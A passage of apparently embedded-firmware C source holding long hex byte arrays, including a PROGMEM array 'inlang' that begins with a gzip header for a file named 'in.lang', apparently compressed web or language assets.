0x54, 0xfe, 0x03, 0x4b, 0xa3, 0xab, 0xea, 0xa5, 0xdb, 0x14, 0xd8, 0x35, 0x08, 0x42, 0x35, 0xb8, 0xad, 0x95, 0xf0, 0x5e, 0xd0, 0xa7, 0x17, 0x2d, 0xee, 0x73, 0xe1, 0xcb, 0x0e, 0x3a, 0x01, 0x4d, 0x3a, 0x43, 0x17, 0x4b, 0x86, 0x36, 0x35, 0xb2, 0x8e, 0x39, 0x81, 0xb8, 0xad, 0x7e, 0xce, 0xfa, 0x06, 0x77, 0xc3, 0xe5, 0x47, 0xac, 0x05, 0xdb, 0x65, 0x81, 0x00, 0x3d, 0xde, 0x3c, 0xe8, 0xad, 0xeb, 0x77, 0xb2, 0x73, 0x89, 0xe6, 0xfe, 0x35, 0xb4, 0x18, 0xdd, 0xbb, 0x50, 0x63, 0x9c, 0x3c, 0x7c, 0x51, 0xd6, 0x21, 0x83, 0xc5, 0x83, 0x1b, 0xc2, 0x98, 0x78, 0x43, 0x80, 0x93, 0xbc, 0x58, 0xdd, 0x3d, 0x16, 0xbc, 0x8b, 0x4e, 0x9f, 0x52, 0xfd, 0x0b, 0x16, 0x47, 0x04, 0x34, 0x6a, 0x04, 0xf5, 0x77, 0x99, 0x17, 0x84, 0xae, 0x9a, 0x69, 0xbf, 0x39, 0xaa, 0xab, 0xd9, 0xf0, 0x9a, 0x8d, 0x97, 0xae, 0x95, 0xe0, 0xbc, 0xf0, 0xb3, 0x72, 0xc8, 0x11, 0x7a, 0xa4, 0xcf, 0x85, 0xc7, 0xe6, 0x45, 0xe9, 0x91, 0x3f, 0x51, 0xca, 0xe0, 0xbc, 0x4f, 0x3d, 0x60, 0x09, 0x92, 0x19, 0x69, 0x86, 0x6a, 0x00, 0x8a, 0x5d, 0x77, 0x09, 0x88, 0x0a, 0xf0, 0x03, 0x08, 0x10, 0x25, 0x50, 0x98, 0xaf, 0x0f, 0x5e, 0x02, 0x5c, 0x1d, 0xfe, 0xa4, 0x09, 0xaa, 0xd7, 0xf9, 0xcb, 0x20, 0x28, 0xdb, 0xd8, 0x94, 0xd8, 0x3f, 0x0c, 0x2c, 0x42, 0x39, 0x35, 0x1d, 0xea, 0xa2, 0xd8, 0xd8, 0x62, 0x94, 0xf6, 0xe7, 0x3b, 0x28, 0xcd, 0xc7, 0xe6, 0xf5, 0x44, 0x8c, 0x5b, 0x58, 0x88, 0xbf, 0x71, 0x33, 0xc2, 0xa3, 0x05, 0x18, 0xb0, 0x92, 0x90, 0xfd, 0xd8, 0xc5, 0x34, 0xd0, 0xc3, 0x2a, 0xa2, 0xa5, 0x3e, 0x72, 0x39, 0xc2, 0x52, 0x76, 0xbe, 0x34, 0x0b, 0xdb, 0xcd, 0xa3, 0xe0, 0xc9, 0xcc, 0xce, 0x72, 0xaf, 0x8b, 0x8e, 0xf8, 0x95, 0xb1, 0xc6, 0x69, 0x77, 0x79, 0xc4, 0x1d, 0x8f, 0xdc, 0x66, 0x02, 0xb2, 0x61, 0x74, 0x6c, 0x97, 0x6c, 0xaa, 0xa8, 0x58, 0xee, 0x09, 0x73, 0x61, 0xe7, 0x82, 0xd8, 0x8e, 0x77, 0x46, 0xc5, 0x38, 0x72, 0xde, 0x6b, 0xe8, 0xc1, 0xba, 0x54, 0xc8, 0xd7, 0x6e, 0x8a, 0xae, 0xd1, 0xe6, 0xc6, 0xdb, 0xf7, 0x90, 0xdc, 0x6d, 0x19, 0xfe, 0x39, 0x91, 0xbe, 0xaa, 0x69, 0x00, 0x52, 0x20, 0x17, 0xaf, 0xf9, 0xc6, 0x4a, 0x27, 0x84, 0x25, 0xa7, 0x35, 0xf0, 0x47, 0xbc, 0xf2, 0xe2, 0x8a, 0xcf, 0x54, 0x7c, 0xe3, 0x90, 0xe1, 0x8a, 0xe5, 0x00, 0xba, 0x21, 0x1c, 0x5f, 0x3e, 0x35, 0x05, 0xaa, 0xbc, 0x68, 0x57, 0x3f, 0x47, 0xe9, 0x53, 0x62, 0x19, 0x42, 0x80, 0x48, 0xcc, 0x4a, 0xb6, 0xa7, 0xf9, 0xbf, 0x7f, 0xfa, 0xbb, 0x5b, 0x67, 0x2c, 0x9a, 0x71, 0x44, 0xd2, 0x01, 0x47, 0xc1, 0x3c, 0xbc, 0xf0, 0x88, 0xe7, 0x5f, 0xf0, 0xb5, 0x43, 0x71, 0x20, 0x3c, 0xb6, 0x0e, 0x8e, 0xa0, 0x33, 0xbb, 0x65, 0x7e, 0xc7, 0x2e, 0x6b, 0xdc, 0x2c, 0x90, 0xc9, 0xc0, 0x62, 0x60, 0x2d, 0x15, 0x9b, 0xf6, 0x8e, 0x51, 0x44, 0x1a, 0x79, 0x86, 0x35, 0xe9, 0x4c, 0x36, 0x50, 0xf5, 0x67, 0x13, 0x47, 0x73, 0x2b, 0xae, 0x1c, 0xb1, 0x5a, 0x9b, 0x3a, 0xbd, 0x7f, 0x4b, 0x35, 0x1e, 0x8d, 0xb5, 0xd8, 0x8c, 0x0d, 0xd7, 0x6a, 0x48, 0xd4, 0x8b, 0xbd, 0xdb, 0x32, 0x29, 0x4a, 0x78, 0xe3, 0x8a, 0x1d, 0x68, 0x91, 0x3b, 0xda, 0x74, 0x2c, 0x0a, 0x99, 0x58, 0xa1, 0xe2, 0x52, 0xaf, 0xf1, 0x18, 0x9d, 0x54, 0x9e, 0x24, 0x34, 0x62, 0xb0, 0x15, 0x94, 0xed, 0x98, 0xb0, 0x47, 0x66, 0x95, 0x84, 0x73, 0x6d, 0x56, 0xce, 0x28, 0xa9, 0x55, 0x6a, 0x85, 0x5c, 0x88, 0x92, 0x44, 0xd7, 0x1a, 0x7a, 0xb4, 0x70, 0x44, 0x7e, 0xce, 0xf0, 0xe0, 0xad, 0x36, 0x0d, 0xae, 0xeb, 0x31, 0x7b, 0x5c, 0x93, 0xa8, 0x1d, 0x4b, 0xa5, 0x09, 0xbb, 0x97, 0x92, 0xcb, 0x49, 0x5f, 0x1d, 0x20, 0xdd, 0x20, 0x0a, 0x52, 0x1e, 0x6d, 0xa6, 0x0b, 0xe8, 0x2b, 0x6c, 0xd2, 0xe2, 0x9f, 0x0c, 0xc5, 0xa2, 0xe5, 0xb1, 0x0b, 0x49, 0x99, 0xcb, 0xb8, 0x0c, 0x47, 0x28, 0x36, 0x28, 0x22, 0xdd, 0x60, 0x93, 0xbe, 0x1e, 0x04, 0x24, 0x18, 0x9d, 0xe2, 0x62, 0x64, 0x5b, 0x45, 0x51, 0x0a, 0x26, 0x74, 0xec, 0xce, 0x0e, 0x2e, 0x03, 0xb3, 0x94, 0x76, 0x4b, 0x3e, 0x94, 0xc3, 0x3c, 0xb0, 0x0c, 0x27, 0x5c, 0xb3, 0xf0, 0xae, 0x4b, 0x8e, 0x34, 0x61, 0xd4, 0x73, 0x09, 0x2e, 0xe0, 0x78, 0x91, 0xe1, 0x99, 0x3b, 0x30, 0xcd, 0xe9, 0x80, 0xda, 0xb1, 0xbd, 0x48, 0x6d, 0xdd, 0x08, 0x5c, 0xaf, 0xfe, 0xf6, 0x66, 0xff, 0xe4, 0xe4, 0xe0, 0xc4, 0xfc, 0xc6, 0x9c, 0x9e, 0x7d, 0x7f, 0x7c, 0x7c, 0x70, 0x32, 0x5a, 0xb6, 0xb1, 0xa2, 0xbf, 0xaf, 0x2f, 0x6e, 0x2c, 0xbe, 0x41, 0x62, 0x5c, 0xd4, 0x8b, 0x05, 0x1f, 0x08, 0x02, 0xd8, 0x18, 0x57, 0xbf, 0x80, 0x50, 0xf4, 0xad, 0x64, 0x56, 0xd7, 0x22, 0xec, 0xc4, 0x91, 0x62, 0xe3, 0xe9, 0xba, 0xcb, 0x20, 0x36, 0xfa, 0xa4, 0x62, 0x2a, 0xc0, 0x87, 0x1f, 0x60, 0x68, 0x6e, 0x9e, 0x2e, 0x10, 0x67, 0x2e, 0x22, 0x88, 0x46, 0x5d, 0x49, 0x07, 0x40, 0x7a, 0x28, 0x77, 0x92, 0x5c, 0x32, 0xb6, 0x5c, 0xdd, 0xd9, 0xb6, 0x1e, 0x60, 0x1c, 0xae, 0xdd, 0x7a, 0xe3, 0x25, 0xb3, 0xf7, 0x13, 0x6f, 0xe9, 0xea, 0x0b, 0xe4, 0x66, 0x91, 0x5f, 0x41, 0x7c, 0x90, 0x59, 0xc8, 0x67, 0x45, 0x9a, 0x79, 0xc6, 0x08, 0xb8, 0xf2, 0xca, 0x26, 0x72, 0x1e, 0x9d, 0x25, 0xfc, 0xd0, 0x24, 0x48, 0xd2, 0x2f, 0x3b, 0xe2, 0xc1, 0xb4, 0xef, 0xb4, 0xac, 0x99, 0x41, 0xe6, 0xab, 0x3a, 0x16, 0x02, 0xea, 0x0b, 0x17, 0x91, 0xb7, 0x5d, 0x54, 0x4e, 0xbe, 0x26, 0xee, 0xe2, 0xb6, 0x51, 0x51, 0x12, 0xd1, 0x40, 0x4a, 0x5d, 0x58, 0xd6, 0xef, 0x95, 0xda, 0x0e, 0x0c, 0xfe, 0x23, 0x35, 0x29, 0x13, 0x45, 0xdf, 0xfa, 0x80, 0x49, 0xda, 0xfc, 0x70, 0x17, 0x19, 0x59, 0x1a, 0xee, 0x21, 0x80, 0x99, 0xe1, 0x1a, 0x02, 0xa6, 0x9c, 0x14, 0x08, 0xa7, 0xc8, 0xf0, 0x4e, 0x45, 0x80, 0xb5, 0xdf, 0x8a, 0xc5, 0x82, 0x28, 0x36, 0xae, 0x9b, 0x51, 0x65, 0xaf, 0x6b, 0x74, 0x4f, 0x54, 0xf4, 0x03, 0x7a, 0x5b, 0xe1, 0x93, 0x28, 0x98, 0x89, 0xaf, 0x1a, 0x38, 0x97, 0xd5, 0x24, 0x83, 0x90, 0xdd, 0x1c, 0x24, 0x74, 0x86, 0xb8, 0x79, 0xfc, 0x74, 0x6f, 0xef, 0x77, 0x42, 0xa3, 0x91, 0x33, 0xe2, 0x67, 0x61, 0xc5, 0xad, 0x9a, 0x2e, 0x20, 0x1c, 0x85, 0x9c, 0x5f, 0x12, 0x49, 0xd6, 0x78, 0x21, 0xc5, 0xb6, 0xdf, 0x66, 0x2e, 0xcc, 0x49, 0xe4, 0xd3, 0x3d, 0x66, 0x57, 0x09, 0xf1, 0xbb, 0xae, 0xf6, 0x3a, 0x1b, 0x34, 0x2e, 0xa2, 0xdf, 0x7e, 0x30, 0xd9, 0x3d, 0x6c, 0x41, 0x5b, 0xbd, 0x91, 0x75, 0x6c, 0xbb, 0x3c, 0x35, 0xd1, 0xcd, 0xac, 0x2c, 0x02, 0x81, 0xa5, 0x6b, 0x9d, 0x28, 0x27, 0x7d, 0xc6, 0x2f, 0x16, 0xe4, 0xe1, 0xbc, 0x9b, 0xc9, 0xdb, 0x1a, 0x72, 0x66, 0xce, 0xc2, 0x8e, 0x21, 0xfe, 0x3f, 0x84, 0x0c, 0x4a, 0x66, 0x32, 0x13, 0xd0, 0x9b, 0xc8, 0xb4, 0x9a, 0xa9, 0x7c, 0x3f, 0x38, 0xf6, 0xcd, 0x4c, 0xf1, 0x0d, 0x12, 0xeb, 0x0c, 0x37, 0x1a, 0x15, 0x0e, 0x08, 0x73, 0x18, 0xa8, 0x51, 0x1e, 0x05, 0x79, 0x8a, 0xfe, 0xce, 0x4c, 0xf1, 0x6b, 0x45, 0x47, 0x30, 0x68, 0x74, 0x47, 0x5a, 0x8e, 0xd4, 0xe3, 0x83, 0x85, 0xf5, 0x74, 0x70, 0x64, 0x09, 0xe4, 0x26, 0x5c, 0x44, 0xd6, 0x04, 0xdd, 0x8a, 0x51, 0x96, 0xee, 0x88, 0x60, 0xdc, 0xda, 0x00, 0x38, 0xaa, 0xe5, 0x19, 0xf4, 0xb6, 0x27, 0xfb, 0xec, 0xca, 0xa1, 0xae, 0xd2, 0xbd, 0xe7, 0xc0, 0xa7, 0xa5, 0x4c, 0xdf, 0xbf, 0xd0, 0x4d, 0xa9, 0x21, 0x3a, 0x2d, 0x3c, 0xb3, 0x59, 0xc7, 0x4a, 0x8b, 0xe0, 0x68, 0x98, 0x85, 0x6c, 0xe7, 0x6a, 0x21, 0xa5, 0x70, 0x83, 0xb3, 0x5e, 0x4b, 0x92, 0x57, 0x48, 0x1a, 0xcd, 0xf6, 0x54, 0xcb, 0x2f, 0x49, 0xdf, 0x61, 0xa2, 0x24, 0xcf, 0xb3, 0x63, 0x28, 0x26, 0xf8, 0x72, 0x67, 0xbb, 0xf0, 0x41, 0x6a, 0x44, 0x25, 0x00, 0x39, 0x3d, 0x2b, 0xb9, 0x9f, 0xa2, 0x99, 0xff, 0x9d, 0x38, 0x1f, 0x9b, 0xa2, 0x51, 0x0e, 0x55, 0xb0, 0xd1, 0x48, 0x13, 0x02, 0x12, 0x75, 0x3a, 0x0a, 0x8b, 0x2e, 0x69, 0x79, 0x69, 0x93, 0xa6, 0x2a, 0x37, 0xd8, 0xf9, 0xc6, 0x96, 0x6f, 0x5d, 0x24, 0x0f, 0xc0, 0xa3, 0x76, 0x73, 0x0c, 0xc7, 0xf6, 0x28, 0xd6, 0xe2, 0x2d, 0x9a, 0x8e, 0x78, 0x6c, 0x97, 0x80, 0x21, 0x82, 0xd5, 0x2f, 0x08, 0x45, 0xe2, 0xd8, 0xa7, 0xe3, 0xaf, 0xcc, 0xab, 0xd9, 0x53, 0x0c, 0x1d, 0x53, 0x78, 0x03, 0x78, 0x98, 0x56, 0x07, 0x44, 0x19, 0xaa, 0xdd, 0x8a, 0x16, 0x10, 0x66, 0x50, 0x6c, 0xa8, 0x3c, 0xbc, 0xe1, 0x86, 0xf1, 0x7a, 0x88, 0x03, 0x00, 0x0d, 0x8b, 0xd9, 0x8d, 0x7a, 0x1f, 0xe7, 0x26, 0x78, 0x01, 0x24, 0xa4, 0x3d, 0x42, 0x65, 0xbb, 0x8a, 0x60, 0x2b, 0x73, 0xb3, 0xde, 0x85, 0xa2, 0xb7, 0xcf, 0xcd, 0xf2, 0xe9, 0x74, 0x6f, 0xaa, 0xe7, 0x08, 0x43, 0x3b, 0x64, 0xb1, 0x8d, 0x2c, 0x90, 0xb6, 0x89, 0x4c, 0x45, 0xc5, 0x41, 0x7b, 0xb2, 0xc0, 0xaa, 0xf1, 0xa5, 0xed, 0x47, 0x62, 0x10, 0xac, 0xcd, 0x5d, 0x49, 0xeb, 0x34, 0xb6, 0x99, 0xcd, 0x75, 0xf7, 0xb2, 0x78, 0x2b, 0xfd, 0xb7, 0xcb, 0xf2, 0xf3, 0x24, 0x40, 0xc3, 0x33, 0x10, 0xf7, 0x05, 0x1d, 0x22, 0x85, 0xf8, 0x84, 0x9e, 0xfd, 0xf2, 0xc9, 0x98, 0xa4, 0xed, 0x02, 0xac, 0x6e, 0x7d, 0xd5, 0x55, 0xe6, 0x99, 0xe1, 0x81, 0xce, 0xb5, 0xdf, 0x76, 0x01, 0x19, 0xf4, 0x4d, 0x1d, 0x7b, 0x85, 0xaa, 0x3a, 0x97, 0x0b, 0x79, 0xf5, 0xff, 0x4b, 0xb1, 0x67, 0xf7, 0x15, 0xdb, 0xd2, 0x62, 0x34, 0xf0, 0x41, 0x09, 0x70, 0x6e, 0x5b, 0x2a, 0x9c, 0x32, 0xaf, 0x81, 0xf0, 0x3d, 0xb9, 0xca, 0x2d, 0x13, 0x3c, 0x71, 0x4b, 0xc0, 0x95, 0x9f, 0xcf, 0x9d, 0x04, 0xf2, 0x8d, 0x4d, 0xca, 0xb1, 0xee, 0xeb, 0x4e, 0x98, 0x65, 0xda, 0xfc, 0x37, 0x36, 0x6c, 0xe9, 0x69, 0x1b, 0xf6, 0xcf, 0xe3, 0x1a, 0x8c, 0xa9, 0x5c, 0x77, 0x61, 0xdd, 0x8d, 0x2c, 0x0a, 0xa5, 0xc7, 0x25, 0x8b, 0x9e, 0x82, 0xdf, 0x57, 0x62, 0x24, 0x7e, 0x5b, 0x3a, 0x8c, 0xac, 0xfb, 0xc1, 0xaf, 0x17, 0x3c, 0x59, 0xf3, 0x69, 0xc1, 0x45, 0xae, 0x21, 0xaf, 0x51, 0x46, 0xaa, 0xf3, 0x80, 0x30, 0x1c, 0x85, 0xa0, 0xc9, 0xa8, 0xf0, 0xf4, 0xec, 0x2a, 0x8d, 0x79, 0xdc, 0x47, 0x36, 0xec, 0x27, 0xd6, 0xf5, 0xa4, 0x27, 0x65, 0xeb, 0xaa, 0xa6, 0x07, 0x79, 0x19, 0x24, 0x36, 0x55, 0x49, 0x63, 0x5d, 0x60, 0x17, 0x72, 0xbf, 0xf2, 0x25, 0xe1, 0xb5, 0x10, 0x90, 0xda, 0xb6, 0x0e, 0x84, 0xa4, 0x29, 0xed, 0xfb, 0x0d, 0xe3, 0x38, 0x78, 0xda, 0xf0, 0xf0, 0xc2, 0x33, 0x28, 0x05, 0x5a, 0x2f, 0x23, 0xb7, 0x68, 0xc2, 0x93, 0x14, 0xf1, 0x9c, 0xf4, 0x5e, 0x3d, 0xe6, 0x92, 0x50, 0x67, 0x31, 0xd2, 0x03, 0xd7, 0xe3, 0xe1, 0x48, 0x3b, 0xf1, 0xdc, 0xe7, 0x72, 0x14, 0xd6, 0xeb, 0x76, 0x1e, 0x4e, 0x48, 0x55, 0xb9, 0x32, 0x9a, 0x3d, 0x0d, 0xd7, 0x7c, 0x44, 0x90, 0x74, 0xba, 0xaa, 0x1b, 0xa1, 0xf8, 0x5b, 0xf5, 0xeb, 0xa2, 0xdf, 0x8c, 0xfe, 0x28, 0x83, 0x94, 0x9b, 0x42, 0x3c, 0x46, 0x02, 0x3d, 0xf8, 0x63, 0xe7, 0x17, 0x50, 0x20, 0x06, 0x0b, 0x69, 0x20, 0x98, 0x8e, 0xf7, 0x7a, 0xf4, 0x90, 0xfc, 0x83, 0xe2, 0x4a, 0xf8, 0xf9, 0xfe, 0x02, 0xac, 0xe6, 0x4a, 0x50, 0x86, 0xc6, 0x56, 0xec, 0x69, 0x97, 0x24, 0xe0, 0x3c, 0xb4, 0x4d, 0x7d, 0x92, 0xc5, 0xb6, 0xdf, 0x79, 0x53, 0x16, 0x12, 0xfa, 0x23, 0x8a, 0xfe, 0xe8, 0x66, 0xf7, 0xd7, 0x9e, 0x36, 0x68, 0xe4, 0x69, 0x33, 0xb1, 0x4f, 0x8f, 0x0f, 0x5f, 0xbd, 0x3a, 0xcd, 0x27, 0xb8, 0xaa, 0x04, 0x35, 0xe2, 0xbc, 0x77, 0x73, 0x4f, 0x46, 0xa9, 0x27, 0x10, 0xfd, 0xdb, 0x3a, 0xb9, 0x9f, 0x7c, 0xfb, 0xcd, 0xd6, 0x32, 0xa0, 0x52, 0x71, 0x25, 0xb0, 0x3b, 0x33, 0x6f, 0xec, 0xed, 0x54, 0x7a, 0xa7, 0x9c, 0xf4, 0xb0, 0x07, 0x27, 0x3d, 0x16, 0x80, 0x13, 0x7f, 0x38, 0x35, 0x7f, 0x30, 0x4f, 0x9e, 0xec, 0x9a, 0x83, 0x1f, 0xf8, 0xe3, 0xcb, 0x5d, 0xf3, 0x9d, 0x6d, 0xd0, 0x80, 0xf0, 0xfb, 0xb7, 0xf7, 0x44, 0x16, 0xfb, 0xc7, 0xb2, 0x37, 0x38, 0x0d, 0xd1, 0xeb, 0xcd, 0xfe, 0x8b, 0xf5, 0xb1, 0xaa, 0x36, 0x48, 0x67, 0x94, 0xf5, 0xde, 0x23, 0x0d, 0xfd, 0xc9, 0x68, 0xa0, 0x63, 0xc1, 0xdb, 0x6c, 0xcf, 0xf6, 0x26, 0x76, 0x24, 0x4d, 0x9c, 0x17, 0xf8, 0x04, 0x91, 0x1c, 0x28, 0xf4, 0xbd, 0x0a, 0x67, 0xd0, 0x19, 0xda, 0xc5, 0x7d, 0x0d, 0x4f, 0xdb, 0x4f, 0x6a, 0x28, 0x32, 0xf3, 0x69, 0xc3, 0xff, 0xa4, 0x57, 0x96, 0xf1, 0x51, 0x75, 0x8a, 0xab, 0xbe, 0xec, 0xb5, 0xbc, 0x88, 0xf9, 0x48, 0xcf, 0xb5, 0xff, 0x49, 0x15, 0x32, 0x30, 0x9b, 0xed, 0xe2, 0x06, 0x8c, 0x0d, 0x5f, 0x17, 0x92, 0x7c, 0x02, 0x20, 0x3b, 0x94, 0x30, 0xf6, 0x6f, 0xe4, 0x6d, 0x1f, 0xc0, 0xb9, 0xca, 0x87, 0x97, 0x32, 0x13, 0xa4, 0xf5, 0x21, 0x12, 0xc4, 0x07, 0x69, 0x54, 0xca, 0x17, 0x7e, 0x8d, 0xdc, 0xcf, 0x59, 0xe2, 0xa4, 0xed, 0xc4, 0xb6, 0xad, 0xa3, 0x1a, 0xc9, 0x52, 0xe9, 0x5e, 0xb1, 0xcf, 0x3e, 0xaa, 0x5e, 0x0b, 0x09, 0xa2, 0xa4, 0x6d, 0x04, 0x94, 0x93, 0x84, 0x76, 0x0d, 0x35, 0xfb, 0x9d, 0x99, 0xd5, 0xd9, 0x12, 0x28, 0xc6, 0xe3, 0x77, 0xfa, 0xb2, 0x37, 0x7b, 0x74, 0x1c, 0x50, 0x7b, 0x98, 0x8e, 0x11, 0xb0, 0x91, 0x4c, 0xfd, 0x75, 0x34, 0x81, 0x2a, 0xa5, 0xaf, 0x30, 0xbd, 0x6e, 0x6d, 0xbf, 0xe0, 0x2c, 0x04, 0xe6, 0xf2, 0x36, 0x9f, 0x9c, 0x65, 0x5f, 0x60, 0x02, 0x46, 0x95, 0xfb, 0xb4, 0x51, 0x74, 0xca, 0x6a, 0x07, 0x2e, 0xbb, 0xb9, 0x27, 0x79, 0x12, 0x80, 0xdb, 0xf5, 0xa7, 0xce, 0x57, 0x96, 0x07, 0x22, 0x43, 0x0b, 0xf8, 0x50, 0x07, 0x21, 0xf0, 0xad, 0x1c, 0x49, 0xa6, 0x7b, 0x84, 0x46, 0xd8, 0x0c, 0x88, 0x3e, 0x42, 0x49, 0x06, 0x0e, 0x6f, 0x8f, 0xe9, 0xe4, 0xae, 0x59, 0x0a, 0x3d, 0xe6, 0x6c, 0xa7, 0x47, 0x74, 0x3e, 0xe4, 0xaf, 0x38, 0x18, 0x2b, 0x20, 0xec, 0xac, 0xee, 0x78, 0xee, 0x40, 0x9c, 0x7b, 0x48, 0x23, 0x65, 0x01, 0x7b, 0xec, 0x52, 0x4f, 0xbf, 0xfa, 0x6a, 0x1b, 0xee, 0x34, 0x2e, 0xa9, 0xe1, 0x29, 0x04, 0x8f, 0x10, 0xe5, 0x04, 0x71, 0xed, 0xfa, 0x4f, 0x24, 0x03, 0x59, 0xbc, 0x4f, 0xa9, 0x2e, 0x7c, 0xfe, 0x50, 0x25, 0xcc, 0x98, 0xa3, 0xa2, 0xe4, 0x07, 0x07, 0x18, 0x75, 0x9f, 0x8c, 0x40, 0xd3, 0x87, 0xb6, 0x3e, 0x71, 0x36, 0x29, 0x09, 0x7c, 0xad, 0x7c, 0xcd, 0x4c, 0x22, 0x9c, 0x5f, 0x87, 0x89, 0xf9, 0xbc, 0xee, 0x94, 0x12, 0x61, 0xec, 0x28, 0x30, 0x07, 0x7d, 0x31, 0x70, 0x88, 0xbc, 0x85, 0x91, 0x8f, 0x53, 0x2d, 0x8f, 0x9f, 0xd4, 0xd3, 0x9f, 0x56, 0x57, 0x3e, 0xbc, 0xc8, 0x51, 0x45, 0xd2, 0x33, 0x26, 0x19, 0xc8, 0x94, 0x5f, 0x87, 0x3c, 0x10, 0x2c, 0x6d, 0xe6, 0x96, 0x9c, 0x91, 0x61, 0xc8, 0x96, 0xde, 0x3a, 0x51, 0x8d, 0x48, 0xd3, 0xbe, 0x8c, 0x02, 0x6e, 0x94, 0x9e, 0xfd, 0x79, 0x52, 0xa0, 0x7b, 0xda, 0xe8, 0x67, 0x9d, 0x96, 0x49, 0x1a, 0x46, 0x21, 0xf6, 0x8e, 0x07, 0xe7, 0xb6, 0x87, 0xf6, 0x3a, 0x1c, 0x9d, 0x07, 0x13, 0xdc, 0x17, 0xcf, 0x35, 0x1f, 0x95, 0x84, 0xe8, 0x54, 0x95, 0xc6, 0x7e, 0xe8, 0x2b, 0x66, 0x6a, 0x0e, 0xa5, 0x69, 0x7f, 0xf4, 0x05, 0x5d, 0xfe, 0x64, 0x6f, 0xaf, 0x62, 0x5a, 0x1e, 0x33, 0x79, 0x73, 0x9b, 0x52, 0x22, 0x22, 0xb3, 0x21, 0x8f, 0x25, 0x34, 0xb1, 0xe5, 0xcb, 0x23, 0x3f, 0xea, 0xb4, 0x82, 0x70, 0x32, 0xd6, 0xc2, 0xa9, 0x15, 0x0f, 0x4e, 0x29, 0x88, 0x43, 0x91, 0x1e, 0x5f, 0xad, 0x7d, 0x91, 0xf2, 0x27, 0xa7, 0x24, 0x89, 0xbd, 0x65, 0x9f, 0x9e, 0x78, 0x9c, 0xfd, 0x59, 0x8e, 0x26, 0x2c, 0x6a, 0x7a, 0x69, 0xa3, 0xcf, 0x5f, 0x8b, 0xba, 0xfe, 0x5b, 0x94, 0xe6, 0x61, 0x48, 0x15, 0x6e, 0x48, 0x18, 0x33, 0xa6, 0xa8, 0x1d, 0xbb, 0x3a, 0x96, 0x71, 0xfc, 0xc9, 0x93, 0xd6, 0x30, 0xaa, 0x6d, 0xb3, 0x6d, 0x0e, 0x77, 0xe9, 0xd8, 0x45, 0xd2, 0xb6, 0xad, 0x44, 0xff, 0xe8, 0x98, 0x37, 0x24, 0xf3, 0x18, 0x0d, 0xe4, 0x3c, 0x74, 0xab, 0xf7, 0xe6, 0xaf, 0xc6, 0xaf, 0x71, 0x25, 0x45, 0x18, 0x73, 0x67, 0x45, 0x82, 0x4d, 0xa6, 0x0b, 0x77, 0xef, 0x27, 0x64, 0x81, 0xfb, 0xa0, 0xc7, 0x01, 0x99, 0x36, 0xf7, 0xcd, 0x5d, 0x78, 0x8a, 0x4a, 0xca, 0x27, 0x21, 0x8f, 0x76, 0x3e, 0xfb, 0xeb, 0x67, 0xff, 0x01, 0xaa, 0x2e, 0xee, 0xad, 0xa1, 0x1e, 0x00, 0x00};\nconst char inlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x69, 0x6e, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x59, 0x6b, 0x6f, 0x5b, 0xb9, 0x11, 0xfd, 0xdc, 0xfd, 0x15, 0x8c, 0x3f, 0x25, 0x80, 0xac, 0xb5, 0x9d, 0xdd, 0x45, 0xba, 0x40, 0x3f, 0xd8, 0x6b, 0x27, 0x71, 0xb2, 0x76, 0x8d, 0xc8, 0x41, 0x5a, 0x20, 0x80, 0x31, 0xd2, 0xa5, 0x24, 0xfa, 0x3e, 0x71, 0x2f, 0x69, 0xad, 0x51, 0xf4, 0xbf, 0xf7, 0xcc, 0x0c, 0x79, 0x1f, 0xb2, 0x93, 0x16, 0x05, 0x36, 0x80, 0x63, 0x99, 0x8f, 0xe1, 0x70, 0x1e, 0x67, 0xce, 0x50, 0xff, 0xfa, 0xc1, 0xe0, 0xdf, 0x41, 0x41, 0xd5, 0xe6, 0xe0, 0x57, 0x73, 0xe0, 0xaa, 0x83, 0x99, 0x8e, 0xec, 0xa8, 0xad, 0x9c, 0x0e, 0xde, 0x5c, 0x7c, 0xba, 0xbc, 0x7e, 0x77, 0x7a, 0x7b, 0x7a, 0x9d, 0x26, 0x33, 0xd7, 0xad, 0x0a, 0x72, 0xa5, 0x6d, 0x65, 0xbe, 0xad, 0x1f, 0x6d, 0x6e, 0x5c, 0xe5, 0x0c, 0x65, 0x54, 0xd0, 0xd6, 0x2c, 0x43, 0xee, 0x9d, 0xc9, 0xeb, 0xaa, 0xb3, 0x8d, 0x09, 0x95, 0x0f, 0xb9, 0x69, 0x6c, 0xb5, 0x09, 0xf7, 0x8e, 0x2a, 0x93, 0xe1, 0xc7, 0x87, 0xfb, 0x80, 0x5f, 0x18, 0xcc, 0x5c, 0xe6, 0x72, 0xaa, 0xe6, 0x5f, 0xab, 0x33, 0x72, 0xb9, 0xb9, 0x58, 0xdc, 0xbc, 0x39, 0xf9, 0xe5, 0x17, 0x53, 0x52, 0x68, 0x42, 0x65, 0x16, 0xe7, 0x1f, 0x0f, 0xab, 0x47, 0x32, 0xde, 0x65, 0x94, 0x9b, 0xcc, 0x95, 0x94, 0x77, 0x21, 0xc3, 0x7a, 0x43, 0x9e, 0x02, 0x06, 0x96, 0x81, 0x7c, 0x3c, 0x21, 0xca, 0xf4, 0xb6, 0xed, 0xec, 0x32, 0xf8, 0xb9, 0x39, 0x0b, 0x1b, 0xb3, 0x74, 0x1d, 0xf1, 0xd0, 0x3d, 0x65, 0xee, 0xc5, 0xd7, 0xea, 0x6b, 0xf5, 0x2e, 0x54, 0xc4, 0xfb, 0xb7, 0xc4, 0x72, 0x75, 0xe7, 0x3d, 0xb5, 0xb8, 0x6a, 0x54, 0xad, 0xb1, 0x2d, 0x8c, 0x91, 0x43, 0xec, 0x69, 0x95, 0x91, 0xe9, 0x58, 0xc5, 0x56, 0xf7, 0x5e, 0xe2, 0x86, 0x25, 0xee, 0xb1, 0x89, 0x32, 0x96, 0x8e, 0x17, 0x3a, 0xf3, 0xc5, 0x1d, 0xbe, 0x75, 0xe6, 0x81, 0x0a, 0x97, 0x99, 0x47, 0x6c, 0x86, 0x5e, 0xf7, 0xb6, 0xa0, 0x2e, 0x17, 0x91, 0x05, 0x95, 0xa6, 0xf3, 0x04, 0x61, 0xad, 0xb9, 0xbc, 0xb8, 0xb8, 0x30, 0x6f, 0x8e, 0x4e, 0xe6, 0xc7, 0xc7, 0x6a, 0x07, 0xb9, 0x57, 0x69, 0xcb, 0x65, 0x51, 0xe7, 0xae, 0xd5, 0x5b, 0xc9, 0x11, 0xc4, 0xc7, 0x98, 0x75, 0x6b, 0xf3, 0x60, 0xab, 